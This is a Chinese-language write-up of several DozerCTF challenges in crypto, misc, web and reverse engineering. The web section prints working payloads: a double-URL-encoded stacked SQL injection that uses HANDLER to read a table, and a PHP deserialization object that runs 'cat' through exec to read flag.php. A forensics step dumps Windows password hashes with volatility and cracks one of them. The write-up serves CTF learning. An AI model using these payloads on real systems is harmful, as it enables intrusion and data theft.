前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DozerCTF部分wp

DozerCTF部分wp

作者头像
回天
发布2023-04-25 15:14:46
3680
发布2023-04-25 15:14:46
举报
文章被收录于专栏:Ga1@xy's W0r1dGa1@xy's W0r1d

CRYPTO

真·签到

代码语言:javascript
复制
R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo=

base64 → base32 → decode('hex') → base58,得到flag

flag:Dozerctf{base_family_is_so_good}

MISC

py吗?

下载附件得到一个图片,010editor提示crc有问题,图片在win下可以正常显示,说明高度又问题,稍微改一下高度,可以看到下面的另一句话,但是也没啥用

stegsolve分析,发现有LSB隐写

最上面发现有一长串的base64(结尾可以看到两个=),cyberchef解一下,就可以看到flag

flag:Dozerctf{python_is_the_best_language!}

upload

附件为pcap文件,打开后导出http流,可以看到里面有flag.jpg,导出后并不能打开,010editor查看发现为zip文件,修改后缀为zip,再次打开发现内容被加密,其中有五个txt文件,每个文件大小都为6字节,于是想到crc32爆破,分别爆破五个文件的crc值,寻找其中有意义的字符串,连起来即是flag

代码语言:javascript
复制
1.txt: can_U_
2.txt: find_t
3.txt: hefile
4.txt: from_t
5.txt: raffic

flag:Dozerctf{can_U_find_thefilefrom_traffic}

夏日计划

下载附件,一个txt一个图片,图片中可以分离出一个压缩包,不过里面的内容没什么用,整道题的附件压缩格式为rar,所以很容易想到ntfs隐写(因为zip格式的压缩包无法保留ntfs数据流,但是rar格式可以)

dir /r查看,可以发现在important.txt文件后藏有一个压缩包(另一个数据流没什么用)

用工具将其导出,打开查看发现一堆报错,直接用WinRAR修复压缩包,就可以正常打开了

里面四个文件的内容都是坐标,将四个文件的内容都放在一个文件里,然后python画图

代码语言:javascript
复制
from PIL import Image

img = Image.new('RGB', (400, 400), (0, 0, 0))
f = open('secret-1','r')   # 我都放在secret-1里
while 1:
    a = f.readline().strip()
    if a:
        x, y = a.split(' ')
        x = int(x)
        y = int(y)
        img.putpixel((x, y), (255, 255, 255))
    else:
        break

img.save('flag.png')

得到一个汉信码

扫码得到flag(由于扫码网站崩了所以比赛时支持wp换flag,后来又找到了可以扫码的软件)

代码语言:javascript
复制
我就是弗拉格
Dozerctf{Congratulations_U_find_it}

easy_analysis

内存取证题,先查看镜像配置

代码语言:javascript
复制
volatility -f memory imageinfo

得到配置为Win7SP1x64,之后再查看进程列表

代码语言:javascript
复制
volatility -f memory --profile=Win7SP1x64 pslist

可以看到有个cmd.exe,于是查看cmd中内容

代码语言:javascript
复制
volatility -f memory --profile=Win7SP1x64 cmdscan

得到以下内容

代码语言:javascript
复制
CommandProcess: conhost.exe Pid: 2400
CommandHistory: 0x2c86d0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 @ 0x2d1e90: cd Desktop/flag

发现其中有一个切换到桌面的flag文件夹的操作,于是查找和flag相关的进程

代码语言:javascript
复制
volatility -f memory --profile=Win7SP1x64 filescan | grep flag

可以看到在flag文件夹下还有个analys,将其导出

代码语言:javascript
复制
volatility -f memory --profile=Win7SP1x64 dumpfiles -D ./ -Q 0x000000001e85f430

查看导出的文件,发现是一个加密的zip包,而且有如下备注

代码语言:javascript
复制
Why  you don't know my password?
It's so easy.
Maybe you can log in to my computer.

意思就是这个压缩包的密码和系统密码相同,所以我们需要提取系统密码,参考

先获取注册表位置

代码语言:javascript
复制
volatility hivelist -f memory --profile=Win7SP1x64

再获取密码的hash值,导出至hash.txt

我们需要知道SYSTEM和SAM的起始位置即上图中第一列的信息,在上图中已经做了标记

代码语言:javascript
复制
volatility hashdump -f memory --profile=Win7SP1x64 -y 0xfffff8a000024010 -s 0xfffff8a00167a010 > hash.txt

得到以下信息

代码语言:javascript
复制
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
13m0nade:1000:aad3b435b51404eeaad3b435b51404ee:575f5313970908467a19d3a5aa269743:::

出题人为13m0nade,所以我们要破这个id对应的密码hash,即575f5313970908467a19d3a5aa269743在线网站直接解即可得到弱密码

解压后得到一个usb.pcap和一个被加密的flag.zip,再看usb.pcap

很明显的usb流量分析,tshark提取出数据后用脚本解

代码语言:javascript
复制
tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

解出键盘流量内容

代码语言:javascript
复制
<GA><GA><DEL><DEL><DEL><DEL><RET><RET>A<RET><CAP>uto<SPACE>key<DEL><DEL><DEL><DEL>key<SPACE><SPACE>ylltmftnxbkgvcyydbuhdlcpspsps<DEL>tswrmwjjmnjgtylkegittoibgo<DEL>o<SPACE><SPACE><SPACE><SPACE>good<SPACE>luck<SPACE>

删去多余的字符和<DEL>对应的字符,替换掉<SPACE>,得到

代码语言:javascript
复制
Autokey  ylltmftnxbkgvcyydbuhdlcpspsptswrmwjjmnjgtylkegittoibgo    good luck

即autokey的密文为:ylltmftnxbkgvcyydbuhdlcpspsps<DEL>tswrmwjjmnjgtylkegittoibgo

由于没有密钥,所以需要用到脚本爆破,可参考这篇文章(引流引流~

可以看到当klen为9时,对应密钥为KEYFORZIP,得到明文

代码语言:javascript
复制
OHNOYOUFINDTHEKEYTHEKEYFORZIPISTHISKEYBOARDSUCKSFORYOU

对应压缩包密码在备注中提示小写:thiskeyboardsucksforyou

解压后打开flag.txt,其中大量的base64字符串,很显然是base64隐写,脚本跑一下

代码语言:javascript
复制
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('flag.txt', 'rb') as f:
    bin_str = ''
    for line in f.readlines():
        stegb64 = ''.join(line.split())
        rowb64 =  ''.join(stegb64.decode('base64').encode('base64').split())
        offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
        equalnum = stegb64.count('=')
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
        print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])

最终得到flag:Dozerctf{itis_e4sy_4U2_analyse}

WEB

sqli-labs 0

感谢Match师傅的帮助!

注入题,给了hint:url二次编码

先查表名

代码语言:javascript
复制
http://118.31.11.216:30501/?id=1%2527;show tables--+

之后尝试了好几种注入方式,都8太行,最后找到了个差不多的今年新春抗疫赛的一道题,用了handler来构造payload,于是就照着wp用几个表名都试了下,最后试到uziuzi的时候成功得到flag

代码语言:javascript
复制
http://118.31.11.216:30501/?id=1%2527;handler uziuzi open; handler uziuzi read first;

flag:flag{594cb6af684ad354b4a59ac496473990}

白给的反序列化

有一道差不多的题:https://blog.csdn.net/weixin_30561425/article/details/97870577

题干描述中说了flag在flag.php里,那直接构造payload读取即可

代码语言:javascript
复制
<?php

class home
{
    private $method;
    private $args;
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct()
    {
        if (in_array($this->method, array("mysys"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function mysys($path)
    {
        print_r(base64_encode(exec("cat $path")));
    }
    function waf($str)
    {
        if (strlen($str) > 8) {
            die("No");
        }
        return $str;
    }

    function __wakeup()
    {
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;
            if ($num > 2) {
                die("No");
            }
        }
    }
}

    $a = new home("mysys" , array("flag.php"));
    echo urlencode(serialize($a));
?>

得到以下字符串

代码语言:javascript
复制
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

利用get请求把path传上去,得到base64加密的flag,解码一下即可

代码语言:javascript
复制
<?php $flag = 'flag{j4nc920fm8b2z0r2mc7dsf87s6785a675sa776vd}';?>

RE

貌似有些不对

下载得到exe,丢进ida,然后View → Open subviews → Strings

再往下翻又可以看到

推测换表base64,脚本还原一下

代码语言:javascript
复制
a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
b = 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/'
cip = 'OEG7U19kUvCsV29qzT9qcUm0yDCwy2CiWjOrU2Or'
cip2 = ''

for i in cip:
    cip2 += a[b.find(i)]

print cip2.decode('base64')

得到字符串:Dr{__g_!ocomiom}ztlasoaefdn_dn

再根据刚刚看到的rail fence,解栅栏加密,得到flag

flag:Dozerctf{old_man_is_good_man!}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-06-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CRYPTO
    • 真·签到
    • MISC
      • py吗?
        • upload
          • 夏日计划
            • easy_analysis
            • WEB
              • sqli-labs 0
                • 白给的反序列化
                • RE
                  • 貌似有些不对
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档